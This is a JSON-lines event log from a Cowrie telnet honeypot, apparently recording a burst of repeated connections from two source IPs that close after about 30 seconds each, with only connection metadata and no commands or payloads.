{"eventid":"cowrie.session.closed","duration":30.692623615264893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.013134Z","src_ip":"208.115.219.122","session":"461ac1da36ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51958,"dst_ip":"10.17.0.5","dst_port":23,"session":"c322b38f6c91","protocol":"telnet","message":"New connection: 208.115.200.90:51958 (10.17.0.5:23) [session: c322b38f6c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.042173Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41044,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f6cb16f1d3","protocol":"telnet","message":"New connection: 208.115.219.122:41044 (10.17.0.5:23) [session: e7f6cb16f1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.061273Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40980,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3e08231c52","protocol":"telnet","message":"New connection: 208.115.219.122:40980 (10.17.0.5:23) [session: 3b3e08231c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.085040Z"}
{"eventid":"cowrie.session.closed","duration":31.070844411849976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.100504Z","src_ip":"208.115.200.90","session":"9b615e4a369b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89605689048767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.120440Z","src_ip":"208.115.219.122","session":"3e9751f8ee53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"329d145bc5a5","protocol":"telnet","message":"New connection: 208.115.200.90:51996 (10.17.0.5:23) [session: 329d145bc5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.151500Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41056,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a7694d47b4","protocol":"telnet","message":"New connection: 208.115.219.122:41056 (10.17.0.5:23) [session: 88a7694d47b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.157989Z"}
{"eventid":"cowrie.session.closed","duration":31.01733088493347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.208763Z","src_ip":"208.115.200.90","session":"a20d3fec01a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52022,"dst_ip":"10.17.0.5","dst_port":23,"session":"582256a3e046","protocol":"telnet","message":"New connection: 208.115.200.90:52022 (10.17.0.5:23) [session: 582256a3e046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.278722Z"}
{"eventid":"cowrie.session.closed","duration":30.802523136138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.290828Z","src_ip":"208.115.200.90","session":"1d8f9a9a110d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41104,"dst_ip":"10.17.0.5","dst_port":23,"session":"21db1197eee0","protocol":"telnet","message":"New connection: 208.115.219.122:41104 (10.17.0.5:23) [session: 21db1197eee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.330942Z"}
{"eventid":"cowrie.session.closed","duration":30.936448574066162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.347339Z","src_ip":"208.115.200.90","session":"c96eed9a466d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7462420463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.375800Z","src_ip":"208.115.200.90","session":"09142078b4dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41118,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56b49478793","protocol":"telnet","message":"New connection: 208.115.219.122:41118 (10.17.0.5:23) [session: e56b49478793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.381998Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41120,"dst_ip":"10.17.0.5","dst_port":23,"session":"02826e62f60b","protocol":"telnet","message":"New connection: 208.115.219.122:41120 (10.17.0.5:23) [session: 02826e62f60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.460216Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52056,"dst_ip":"10.17.0.5","dst_port":23,"session":"01da198805b4","protocol":"telnet","message":"New connection: 208.115.200.90:52056 (10.17.0.5:23) [session: 01da198805b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.586447Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41152,"dst_ip":"10.17.0.5","dst_port":23,"session":"330651c4a93f","protocol":"telnet","message":"New connection: 208.115.219.122:41152 (10.17.0.5:23) [session: 330651c4a93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.646546Z"}
{"eventid":"cowrie.session.closed","duration":31.888107776641846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:08.910695Z","src_ip":"208.115.200.90","session":"5e7c33dee88d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434846878051758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.036592Z","src_ip":"208.115.200.90","session":"e82df8a0709a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781241416931152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.041585Z","src_ip":"208.115.219.122","session":"b064536df162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41284,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ac1cb5b4f1","protocol":"telnet","message":"New connection: 208.115.219.122:41284 (10.17.0.5:23) [session: 87ac1cb5b4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.049017Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52228,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c79d402ef36","protocol":"telnet","message":"New connection: 208.115.200.90:52228 (10.17.0.5:23) [session: 8c79d402ef36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.127178Z"}
{"eventid":"cowrie.session.closed","duration":31.020549535751343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.161814Z","src_ip":"208.115.219.122","session":"ccdea68f7cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41344,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2bfa9ec6241","protocol":"telnet","message":"New connection: 208.115.219.122:41344 (10.17.0.5:23) [session: e2bfa9ec6241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.174295Z"}
{"eventid":"cowrie.session.closed","duration":30.38029718399048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.190166Z","src_ip":"208.115.200.90","session":"d0813b923cf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41386,"dst_ip":"10.17.0.5","dst_port":23,"session":"810aaf0bedf2","protocol":"telnet","message":"New connection: 208.115.219.122:41386 (10.17.0.5:23) [session: 810aaf0bedf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.232046Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52278,"dst_ip":"10.17.0.5","dst_port":23,"session":"6371e9a0dff5","protocol":"telnet","message":"New connection: 208.115.200.90:52278 (10.17.0.5:23) [session: 6371e9a0dff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.269095Z"}
{"eventid":"cowrie.session.closed","duration":31.027241468429565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.307948Z","src_ip":"208.115.200.90","session":"5d112872d088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93953037261963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.313447Z","src_ip":"208.115.200.90","session":"7daa73dc2db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52348,"dst_ip":"10.17.0.5","dst_port":23,"session":"24086f531d91","protocol":"telnet","message":"New connection: 208.115.200.90:52348 (10.17.0.5:23) [session: 24086f531d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.323505Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52354,"dst_ip":"10.17.0.5","dst_port":23,"session":"0136fedca076","protocol":"telnet","message":"New connection: 208.115.200.90:52354 (10.17.0.5:23) [session: 0136fedca076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.329967Z"}
{"eventid":"cowrie.session.closed","duration":30.904276609420776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.336938Z","src_ip":"208.115.200.90","session":"3db4f273b1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52404,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb30883b1dfa","protocol":"telnet","message":"New connection: 208.115.200.90:52404 (10.17.0.5:23) [session: cb30883b1dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.404421Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52464,"dst_ip":"10.17.0.5","dst_port":23,"session":"04de9c19135c","protocol":"telnet","message":"New connection: 208.115.200.90:52464 (10.17.0.5:23) [session: 04de9c19135c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.455006Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52526,"dst_ip":"10.17.0.5","dst_port":23,"session":"b187b785befb","protocol":"telnet","message":"New connection: 208.115.200.90:52526 (10.17.0.5:23) [session: b187b785befb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:09.590323Z"}
{"eventid":"cowrie.session.closed","duration":30.32926869392395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.020178Z","src_ip":"208.115.219.122","session":"e2cd1a38a9ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92875909805298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.036448Z","src_ip":"208.115.219.122","session":"b9765a23a912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52696,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2bff965a01","protocol":"telnet","message":"New connection: 208.115.200.90:52696 (10.17.0.5:23) [session: 8f2bff965a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.090920Z"}
{"eventid":"cowrie.session.closed","duration":30.86357092857361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.180275Z","src_ip":"208.115.200.90","session":"06002346a21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52728,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2e2f2e1b116","protocol":"telnet","message":"New connection: 208.115.200.90:52728 (10.17.0.5:23) [session: b2e2f2e1b116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.234258Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52756,"dst_ip":"10.17.0.5","dst_port":23,"session":"700af72beb51","protocol":"telnet","message":"New connection: 208.115.200.90:52756 (10.17.0.5:23) [session: 700af72beb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.267640Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51912,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb9d6cf18e8a","protocol":"telnet","message":"New connection: 208.115.200.90:51912 (10.17.0.5:23) [session: fb9d6cf18e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.347228Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52390,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9bd8144f69f","protocol":"telnet","message":"New connection: 208.115.200.90:52390 (10.17.0.5:23) [session: e9bd8144f69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.409548Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41532,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7079a35a6d","protocol":"telnet","message":"New connection: 208.115.219.122:41532 (10.17.0.5:23) [session: 7b7079a35a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.582308Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53160,"dst_ip":"10.17.0.5","dst_port":23,"session":"914d137f475d","protocol":"telnet","message":"New connection: 208.115.200.90:53160 (10.17.0.5:23) [session: 914d137f475d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.649682Z"}
{"eventid":"cowrie.session.closed","duration":31.513375520706177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.680536Z","src_ip":"208.115.200.90","session":"fb86ae73a276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382395029067993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.758697Z","src_ip":"208.115.200.90","session":"6dd9c9b45db0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41548,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa2923d3709","protocol":"telnet","message":"New connection: 208.115.219.122:41548 (10.17.0.5:23) [session: 3fa2923d3709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.772887Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53202,"dst_ip":"10.17.0.5","dst_port":23,"session":"edcbf3301c2f","protocol":"telnet","message":"New connection: 208.115.200.90:53202 (10.17.0.5:23) [session: edcbf3301c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:10.967540Z"}
{"eventid":"cowrie.session.closed","duration":30.947335720062256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.019169Z","src_ip":"208.115.200.90","session":"43dd9f50efe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3731791973114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.025640Z","src_ip":"208.115.200.90","session":"22eb9c39b699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41574,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a35681dea4","protocol":"telnet","message":"New connection: 208.115.219.122:41574 (10.17.0.5:23) [session: 67a35681dea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.051354Z"}
{"eventid":"cowrie.session.closed","duration":30.85174059867859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.081004Z","src_ip":"208.115.219.122","session":"f3770f008f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905102014541626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.085063Z","src_ip":"208.115.200.90","session":"d90a35f43792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52680,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef3f3c77a67","protocol":"telnet","message":"New connection: 208.115.200.90:52680 (10.17.0.5:23) [session: eef3f3c77a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.111157Z"}
{"eventid":"cowrie.session.closed","duration":31.09192132949829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.230270Z","src_ip":"208.115.200.90","session":"73abe1d595de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53272,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb3fce84717","protocol":"telnet","message":"New connection: 208.115.200.90:53272 (10.17.0.5:23) [session: bbb3fce84717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.238987Z"}
{"eventid":"cowrie.session.closed","duration":30.737624645233154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.244528Z","src_ip":"208.115.200.90","session":"f433f1683936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41670,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff30e7c19a0b","protocol":"telnet","message":"New connection: 208.115.219.122:41670 (10.17.0.5:23) [session: ff30e7c19a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.293701Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53328,"dst_ip":"10.17.0.5","dst_port":23,"session":"885789035c2b","protocol":"telnet","message":"New connection: 208.115.200.90:53328 (10.17.0.5:23) [session: 885789035c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.378118Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53494,"dst_ip":"10.17.0.5","dst_port":23,"session":"703fb4c85dd0","protocol":"telnet","message":"New connection: 208.115.200.90:53494 (10.17.0.5:23) [session: 703fb4c85dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:11.505091Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41940,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a555fecfc98","protocol":"telnet","message":"New connection: 208.115.219.122:41940 (10.17.0.5:23) [session: 0a555fecfc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.046606Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41958,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b68859b490","protocol":"telnet","message":"New connection: 208.115.219.122:41958 (10.17.0.5:23) [session: 64b68859b490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.070815Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54084,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7787aee520","protocol":"telnet","message":"New connection: 208.115.200.90:54084 (10.17.0.5:23) [session: fd7787aee520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.078477Z"}
{"eventid":"cowrie.session.closed","duration":31.004405736923218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.100708Z","src_ip":"208.115.200.90","session":"673ab0356ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41994,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd42bcd1ac0","protocol":"telnet","message":"New connection: 208.115.219.122:41994 (10.17.0.5:23) [session: 9dd42bcd1ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.177483Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42006,"dst_ip":"10.17.0.5","dst_port":23,"session":"18808e34d330","protocol":"telnet","message":"New connection: 208.115.219.122:42006 (10.17.0.5:23) [session: 18808e34d330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.183932Z"}
{"eventid":"cowrie.session.closed","duration":31.19168758392334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.248695Z","src_ip":"208.115.200.90","session":"8bd9b44cf7f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54106,"dst_ip":"10.17.0.5","dst_port":23,"session":"d60e7f243497","protocol":"telnet","message":"New connection: 208.115.200.90:54106 (10.17.0.5:23) [session: d60e7f243497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.253848Z"}
{"eventid":"cowrie.session.closed","duration":30.93815779685974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.298230Z","src_ip":"208.115.200.90","session":"e494c5d2e7df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42034,"dst_ip":"10.17.0.5","dst_port":23,"session":"156298ea4bc1","protocol":"telnet","message":"New connection: 208.115.219.122:42034 (10.17.0.5:23) [session: 156298ea4bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.305303Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54120,"dst_ip":"10.17.0.5","dst_port":23,"session":"d132504b8fbc","protocol":"telnet","message":"New connection: 208.115.200.90:54120 (10.17.0.5:23) [session: d132504b8fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.335904Z"}
{"eventid":"cowrie.session.closed","duration":30.65932536125183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.348994Z","src_ip":"208.115.200.90","session":"bb84c9653669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54122,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e452547e3b8","protocol":"telnet","message":"New connection: 208.115.200.90:54122 (10.17.0.5:23) [session: 8e452547e3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.356838Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54278,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f14d912276","protocol":"telnet","message":"New connection: 208.115.200.90:54278 (10.17.0.5:23) [session: f0f14d912276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.513772Z"}
{"eventid":"cowrie.session.closed","duration":31.320895671844482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.522645Z","src_ip":"208.115.200.90","session":"4886ae4921cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54348,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb5e3b97d05e","protocol":"telnet","message":"New connection: 208.115.200.90:54348 (10.17.0.5:23) [session: eb5e3b97d05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.565745Z"}
{"eventid":"cowrie.session.closed","duration":31.539878606796265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.577139Z","src_ip":"208.115.219.122","session":"57bea89c8c42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42096,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf4b8f1f709f","protocol":"telnet","message":"New connection: 208.115.219.122:42096 (10.17.0.5:23) [session: bf4b8f1f709f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:12.718990Z"}
